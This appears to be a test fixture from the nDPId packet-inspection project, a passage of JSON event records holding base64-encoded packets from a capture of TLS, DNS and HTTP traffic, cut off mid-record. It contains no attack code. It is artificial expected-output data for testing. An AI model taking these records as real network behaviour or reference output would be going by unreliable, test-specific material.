+00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":29,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":263980,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANLBnQABABm1IwKi0Atg60C6hBwG7mRQzWuLMzbSAEAES9ywAAAEBCAoANYLaGASmow=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":29,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":30,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":273902,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANCFNQABABqbvwKi0AhcV5seZXwG7KAKjIVpZIEyAEADl\/h4AAAEBCAoANYLbl2cJ1g=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":30,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00657{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":31,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":289491,"pkt_caplen":273,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":273,"pkt_l4_len":0,"pkt":"RQABESFOQABABqYRwKi0AhcV5seZXwG7KAKjIVpZIEyAGADlY\/8AAAEBCAoANYLdl2cJ1hYDAQDYAQAA1AMBVmhd8h0B5s6XDqG2jAg9OuLJnsmZQXwY4InZKY+7bC8AAEYABAAFAC8ANcACwATABcAMwA7AD8AHwAnACsARwBPAFAAzADkAMgA4AArAA8ANwAjAEgAWABMACQAVABIAAwAIABQAEQD\/AQAAZQAAAB0AGwAAGHNldHRpbmdzLmNyYXNobHl0aWNzLmNvbQALAAQDAAECAAoANAAyAAEAAgADAAQABQAGAAcACAAJAAoACwAMAA0ADgAPABAAEQASABMAFAAVABYAFwAYABkAIwAA"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":31,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":32,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":367894,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"RQAAurBoQABABmzBwKi0Atg60C6hBwG7mRQzWuLMzbSAGAES+5wAAAEBCAoANYLkGASmoxYDAQBGEAAAQkEEtWAMNyT8WKHJF1e4GiSzdqCN0TSkLYwOtSesvtnBVhYkRBeZO\/K8p4LN8s8Jty9T7ZTt1ySHOehqYl4AHTgJxhQDAQABARYDAQAwJqEJMKdFZ9Mms8ZGzC\/cweCNMfBdi4uNKuK5rwKcBTRo9TtFzZzevE7tcMv7cs5J"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":32,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":33,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":439592,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANCFPQABABqbtwKi0AhcV5seZXwG7KAKj\/lpZJECAEAEE+OkAAAEBCAoANYLsl2cKCg=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":33,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":34,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":440381,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANCFQQABABqbswKi0AhcV5seZXwG7KAKj\/lpZKDSAEAEk9NUAAAEBCAoANYLsl2cKCg=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":34,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":35,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":441075,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANCFRQABABqbrwKi0AhcV5seZXwG7KAKj\/lpZLCiAEAFD8MIAAAEBCAoANYLsl2cKCg=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":35,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":36,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":446145,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANCFSQABABqbqwKi0AhcV5seZXwG7KAKj\/lpZMByAEAFj7K4AAAEBCAoANYLsl2cKCg=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":36,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":37,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":449648,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANCFTQABABqbpwKi0AhcV5seZXwG7KAKj\/lpZMEyAEAFj7H0AAAEBCAoANYLtl2cKCg=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":37,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":38,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":450046,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANCFUQABABqbowKi0AhcV5seZXwG7KAKj\/lpZNECAEAGD6GgAAAEBCAoANYLtl2cKCw=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":38,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":39,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":450123,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANCFVQABABqbnwKi0AhcV5seZXwG7KAKj\/lpZNxqAEAGi5W8AAAEBCAoANYLtl2cKCw=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":39,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":40,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":450956,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANLBpQABABm1GwKi0Atg60C6hBwG7mRQz4OLMze+AEAES9aEAAAEBCAoANYLtGASnWg=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":40,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":41,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":476846,"pkt_caplen":425,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":425,"pkt_l4_len":0,"pkt":"RQABqbBqQABABmvQwKi0Atg60C6hBwG7mRQz4OLMze+AGAESvZQAAAEBCAoANYLvGASnWhcDAQFwKRF6Hs138xqzSSTIriZENoZDD+Ps7xQU8y5e8AFQ1MsOn\/G\/D9cg0ADLlkME0QetySCnbmk6iG8A7aEhl+nQsJKwTwBrTxbZ9TZc9hfCbAirVxtgK+ltCRGV7EniRzNItI7oIVTmnc\/F0wYZKdcjIpaV+MQd9TewqJbzGGUCpPqBYg7KxDXNrQVm3B0Fxt8jMNgbd8Iv0g\/cO7uuKHxD3k8xD2GVoYCpSZ7EhxnTjpDeu9Z6URzQCjNhegZTPS8Mjgv0N4AflmIpmM83mIUN1xgCHuprdzS0qOxqY1sVbBrw8Wn4vVQwIrneHP3XsbO0p+HsV\/4FbzNhQWXl9aPFyUoXwnPqye30vPTjfPZX8Vy5oxfeAr6YVhNmbQdiU5Xr0ioTSseUBvaMdFq\/A6ZX7F9D0QhsgaFq5fR4Eqixt4Yj8GslDlIlZeNYHRALuYtqYYwcIxpmuEAItucppVp8Mw5W7ptH9Nii1iaVsgBO2AE="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":41,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":42,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":479949,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANGAeQABABlqlwKi0AomHgc6vnwBQfAzi7h3gADyAEAD1OwIAAAEBCAoANYLwvXlNHw=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":42,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":43,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":495655,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANJwkQABABqbFwKi0ArL40Da8egBQwI4he\/tL5z2AEAE9NLsAAAEBCAoANYLyRwX9Xw=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":43,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":44,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":496993,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANGAfQABABlqkwKi0AomHgc6vnwBQfAzi7h3gADyAEQD1Ov8AAAEBCAoANYLyvXlNHw=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":44,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":45,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":507858,"pkt_caplen":77,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":77,"pkt_l4_len":0,"pkt":"RQAATYLzQABAETLywKi0AggICAgOJQA1ADki+CcDAQAAAQAAAAAAAAR4bXBwCGRldmljZTA2BGV1MDEIY2FwcHRhaW4DY29tAAABAAE="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":45,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00544{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":46,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":572029,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"RQAAuiFWQABABqZgwKi0AhcV5seZXwG7KAKj\/lpZNxqAGAGiTIQAAAEBCAoANYL5l2cKCxYDAQBGEAAAQkEEQxTBHkOcJZa3UtHJhNGmWjQ4Dx7bFUjVN2PKz\/PauHV01A0axo1JmqhC6rF7p4wUlQv\/SnWqEFr7cFHdR3jTYhQDAQABARYDAQAwxhVM51WGMvU2teIXXp\/bO+aohaPJkVc3IJXZJLC40\/UHxaprojBHy27xbMJEaHjR"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":46,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":47,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":578542,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANGAgQABABlqjwKi0AomHgc6vnwBQfAzi7x3gAD2AEAD1Ot8AAAEBCAoANYL6vXlNNg=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":47,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00370{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":48,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":596837,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"RQAAPDy4QABABnydwKi0AomHgzS0VhQCr\/++QwAAAACgAjkI08UAAAIEBbQEAggKADWC+wAAAAABAwMG"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":48,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00411{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":49,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":735439,"pkt_caplen":89,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":89,"pkt_l4_len":0,"pkt":"RQAAWbBrQABABm0fwKi0Atg60C6hBwG7mRQ1VeLMz\/SAGAE9BiIAAAEBCAoANYMJGASoRRUDAQAgW2F2BXSJbEV45GAiWlxvAXydyXjCtrAU+3YX\/LIm0J4="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":49,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":50,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":736354,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANLBsQABABm1DwKi0Atg60C6hBwG7mRQ1euLMz\/SAEQE98M8AAAEBCAoANYMJGASoRQ=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":50,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":51,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":811425,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANLBtQABABm1CwKi0Atg60C6hBwG7mRQ1e+LMz\/WAEAE98FEAAAEBCAoANYMRGASoug=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":51,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00544{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":52,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":896008,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"RQAAuiFXQABABqZfwKi0AhcV5seZXwG7KAKj\/lpZNxqAGAGiTGMAAAEBCAoANYMal2cKCxYDAQBGEAAAQkEEQxTBHkOcJZa3UtHJhNGmWjQ4Dx7bFUjVN2PKz\/PauHV01A0axo1JmqhC6rF7p4wUlQv\/SnWqEFr7cFHdR3jTYhQDAQABARYDAQAwxhVM51WGMvU2teIXXp\/bO+aohaPJkVc3IJXZJLC40\/UHxaprojBHy27xbMJEaHjR"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":52,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":53,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":983929,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"RQAAPMDbQABABoIGwKi0ArL40DbC2QBQ64tD+QAAAACgAjkIoRgAAAIEBbQEAggKADWDIgAAAAABAwMG"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":53,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":54,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652788,"pkt_ts_usec":16158,"pkt_caplen":61,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"RQAAPYMlQABAETLQwKi0AggICAgKHQA1ACmDzlLQAQAAAQAAAAAAAANvY3MIbGFiZ2VuY3kCd3MAAAEAAQ=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":54,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00360{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":55,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652788,"pkt_ts_usec":67726,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANMDcQABABoINwKi0ArL40DbC2QBQ64tD+t7mVuSAEADljSkAAAEBCAoANYMrRwX98w=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":55,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +01246{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":56,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652788,"pkt_ts_usec":82001,"pkt_caplen":715,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":715,"pkt_l4_len":0,"pkt":"RQACy8DdQABABn91wKi0ArL40DbC2QBQ64tD+t7mVuSAGADltWEAAAEBCAoANYMsRwX981BPU1QgL2NhdGFsb2cvdm9kP3Y9MyBIVFRQLzEuMQ0KWC1MZ3ktSHNzLUE6IEZGRTg2OUEyLTMzQUQtQTU0QS1CRUMwLTcyMTBEMDNDODM1Qi0yNTk0RDYzRA0KQWNjZXB0LUVuY29kaW5nOiBnemlwDQpYLUxneS1IU1MtU2VydmljZS1JZDogb2ZyLm9jcw0KWC1MZ3ktSFNTLVJvbS1JZDogc2Ftc3VuZy9HVC1QNzUxMC9BbmRyb2lkLzQuMC40L1hXTFA2L2FybXY3bF8xMDAwLjBNSHpfMTk5OC44NEJvZ29NaXBzX2ZlYXR1cmVzKHN3cCxoYWxmLHRodW1iLGZhc3RtdWx0LHZmcCxlZHNwLHZmcHYzLHZmcHYzZDE2LHRscylfY29yZXM9Mi8xMjgweDc1Mi9mYWxzZQ0KQ29udGVudC1MZW5ndGg6IDIxNw0KSG9zdDogb2N1MDMubGFiZ2VuY3kud3MNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IEFwYWNoZS1IdHRwQ2xpZW50L1VOQVZBSUxBQkxFIChqYXZhIDEuNCkNCg0KPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPGxneXJlcXVlc3QgbW9kdWxlPSJDTS9WT0QiPgoJPGFjdGlvbiBuYW1lPSJnZXRDYXRhbG9nRW50cmllcyI+CgkJPHBhcmFtIG5hbWU9IndpdGhDdXN0b21EYXRhIiB2YWx1ZT0iZmFsc2UiLz4KCQk8cGFyYW0gbmFtZT0iZXh0ZXJuYWxJZCIgdmFsdWU9ImZhbHNlIi8+Cgk8L2FjdGlvbj4KPC9sZ3lyZXF1ZXN0Pg=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":56,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":57,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652788,"pkt_ts_usec":109953,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"RQAAPDlmQABABgl8wKi0ArL40DaPSAG7xoy6SQAAAACgAjkIgeAAAAIEBbQEAggKADWDLwAAAAABAwMG"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":57,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":58,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652788,"pkt_ts_usec":188776,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANDlnQABABgmDwKi0ArL40DaPSAG7xoy6Sjpn3PmAEADljD4AAAEBCAoANYM3RwX+EQ=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":58,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00640{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":59,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652788,"pkt_ts_usec":195073,"pkt_caplen":260,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":260,"pkt_l4_len":0,"pkt":"RQABBDloQABABgiywKi0ArL40DaPSAG7xoy6Sjpn3PmAGADlDAsAAAEBCAoANYM3RwX+ERYDAQDLAQAAxwMBVmhd83GqZqYQO3oMbwUHPK3VU0gJzqNSdwnP4gncj8QAAEYABAAFAC8ANcACwATABcAMwA7AD8AHwAnACsARwBPAFAAzADkAMgA4AArAA8ANwAjAEgAWABMACQAVABIAAwAIABQAEQD\/AQAAWAAAABQAEgAAD29jcy5sYWJnZW5jeS53cwALAAQDAAECAAoANAAyAAEAAgADAAQABQAGAAcACAAJAAoACwAMAA0ADgAPABAAEQASABMAFAAVABYAFwAYABk="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":59,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":60,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652788,"pkt_ts_usec":316816,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANCFYQABABqbkwKi0AhcV5seZXwG7KAKkhFpZOBSAEAHC4p8AAAEBCAoANYNEl2cK5A=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":60,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":61,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652788,"pkt_ts_usec":328873,"pkt_caplen":64,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":64,"pkt_l4_len":0,"pkt":"RQAAQMDeQABABoH\/wKi0ArL40DbC2QBQ64tGkd7mVuSwEADl2G4AAAEBCAoANYNFRwX+CwEBBQre5lxQ3uZhvA=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":61,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":62,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652788,"pkt_ts_usec":329445,"pkt_caplen":72,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":72,"pkt_l4_len":0,"pkt":"RQAASMDfQABABoH2wKi0ArL40DbC2QBQ64tGkd7mVuTQEADlJtQAAAEBCAoANYNFRwX+CwEBBRLe5mco3uZslN7mXFDe5mG8"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":62,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":63,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652788,"pkt_ts_usec":329895,"pkt_caplen":72,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":72,"pkt_l4_len":0,"pkt":"RQAASMDgQABABoH1wKi0ArL40DbC2QBQ64tGkd7mVuTQEADlIWgAAAEBCAoANYNFRwX+CwEBBRLe5mco3uZyAN7mXFDe5mG8"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":63,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +01933{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":64,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652788,"pkt_ts_usec":353633,"pkt_caplen":1209,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1209,"pkt_l4_len":0,"pkt":"RQAEuSFZQABABqJewKi0AhcV5seZXwG7KAKkhFpZOBSAGAHCXrEAAAEBCAoANYNHl2cK5BcDAQSA64QqDP2BWUMcNqI+0cGlP2J\/l2AU1ze1S5U4B\/8xLPWN3fAKvo5QYWryC6yDgqK5pz+PJc78o1pu1ZbKwOgR7+J1U3PYA7kZZWvOEMj8YsNCBHJIfntRMUxwbDUZBVTntgYcA3naC+XyBRk\/NA4H8n0\/n9PJ1Au6jN\/6S6WKKgYrCmj9wIO7i26hpiWhrLcpdh4\/sSEJTObMy+DZKrHgYcb2M8J0v7XjTzhpacsWnvjj+1TKMwTdIeAd16GrFY8eSjxEqZd6fitBrjBR6pKryKu6QxtRy0ikAlnoOvl8QxKaRq6\/OJtFkwg7RiJ2nhgLCNomFDCbLy1ctu89OBlt6tC0JNNs5KK1OOU3L1Z\/8DjujU6MlUx5PcwoXou2tpey0mrOLA0bi\/VC++Pg52QKnubndb0t\/Uyjb9WzqwHjnucfLntRJ7kBBKSP5MyxB5fV7VO+2Zy+c0W1u6TviKu6GS66YmZPX3jXZfG0cykmnMz0S4FlsKxOTa1Yx3NAm9T5Wl\/3vF1X5eWyDGnzsO+edDsDJ9kN9y6nabqEXlG5KC89KM1ZBlzZ10Ik1lrZL\/SZ9RgGdpyG5+5BVrNDtVt8CqjUFlhh0iPLmg8HCCsvYiGDqCnVpuRNJwMiosNrFgyET4X1hHRepmhhNXvwu4Qf6IAM2WawyWyv4pYZx3efCBs83d4aXbOAMcRfVbJTkgxGU+gMvVq5rbp6GNKJoNc6f+zc80sXKmsKuY5wt77rMM9v4JYoqNnmBFncKCL6Ng0a2PnnEAIO31mA0o\/ifRYPteknDNo5nlEz2aXdYmHJs4wG\/SuXR4sz6OMT6LN\/Eadhvy2u7JhV2SQ9km5b32sZj8uYP2yv8rNJKdoiRfRt